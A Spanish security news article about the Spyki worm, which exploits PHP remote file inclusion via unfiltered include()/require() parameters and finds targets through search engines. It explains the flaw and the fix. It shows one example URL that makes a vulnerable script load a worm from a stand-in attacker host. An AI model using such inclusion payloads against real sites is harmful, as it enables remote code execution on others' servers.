Categories: SeguridadVirus

Nuevo gusano para servidores web con PHP

Al igual que “Santy”, también utiliza motores de búsqueda para localizar webs potencialmente vulnerables, en esta ocasión Google Brasil y Yahoo.

Aunque en principio algunas casas antivirus lo han relacionado con el gusano Santy que aprovechaba vulnerabilidades de phpBB, en realidad se trata de un nuevo gusano que puede afectar a cualquier sitio web que utilice PHP y que no haya sido programado de forma segura.

Es importante que los antivirus modifiquen el nombre dado al gusano, que en un principio ha sido tratado como si fuera una variante de Santy. Aunque tiene muchas similitudes, es importante tratarlo como un nuevo gusano, ya que de lo contrario puede crear confusión si los webmasters y programadores PHP piensan que sólo afecta a los sitios web con una versión vulnerable de phpBB. En este sentido Kaspersky lo ha pasado a denominar “Spyki” (Net-Worm.Perl.Spyki).

El nuevo gusano, escrito en Perl, aprovecha si el programador de la página PHP ha hecho uso de las funciones include() y require() sin filtrar adecuadamente los parámetros de entrada, lo que facilita al atacante, o en este caso al gusano, insertar y ejecutar archivos en el servidor de forma arbitraria.

En realidad se trata de una de las reglas básicas de la programación segura que todo diseñador web debe tener en cuenta. Nunca debe de abrir un archivo basándose en un parámetro externo sin comprobar la validez del mismo. Pese a ello, es un error frecuente el permitir hacer referencias a archivos externos, o internos saliendo de la raíz pública del web, a través de un parámetro en la URL.

De forma que si nosotros tenemos un script para abrir archivos HTML del servidor web, que por ejemplo podemos llamar de esta forma:

http://nuestroservidor/abrepagina.php?htm=index.htm

Un atacante podría provocar que cargara en su lugar un script malicioso, o un gusano como en el caso que nos ocupa, de la forma:

http://nuestroservidor/abrepagina.php?htm=http://atacante/gusano.php

La solución pasa por evitar parámetros de forma arbitraria cuando programamos el script PHP, filtrando todas las referencias que no se ajusten a las páginas legítimas del servidor web.

Redacción Silicon

La redacción de Silicon está compuesta por profesionales del periodismo 2.0

Recent Posts

Sophos: “El uso más frecuente de la IA en la ciberdelincuencia es para ‘turboalimentar’ sus estafas sociales”

Entrevistamos a John Shier, CTO Field de Sophos, que hace repaso de las principales amenazas…

13 mins ago

¿Cómo convertir a España en hub digital clave para Europa?

Desde fibratel comparten una serie de pautas para orientar la construcción de centros de datos…

25 mins ago

El paralelismo entre la inteligencia artificial y la química

Dell Technologies compara estos ámbitos y habla de "purificar la materia original", "combinar elementos", una…

1 hora ago

OpenAI facilita el uso de ChatGPT en el ordenador

Actualiza la aplicación de escritorio para Windows y anuncia una versión beta para macOS.

2 horas ago

Así son STELLAR-M6 y M6E, los nuevos teléfonos inteligentes de Crosscall

Entre sus características incluyen batería de 4.500 mAh, sensor Sony de 50 MP y conectividad…

2 horas ago

Marketing por SMS en Mailchimp, ya disponible en España

Este servicio se expande por Europa, incluyendo también a Francia, Alemania, Países Bajos, Suiza, Austria…

3 horas ago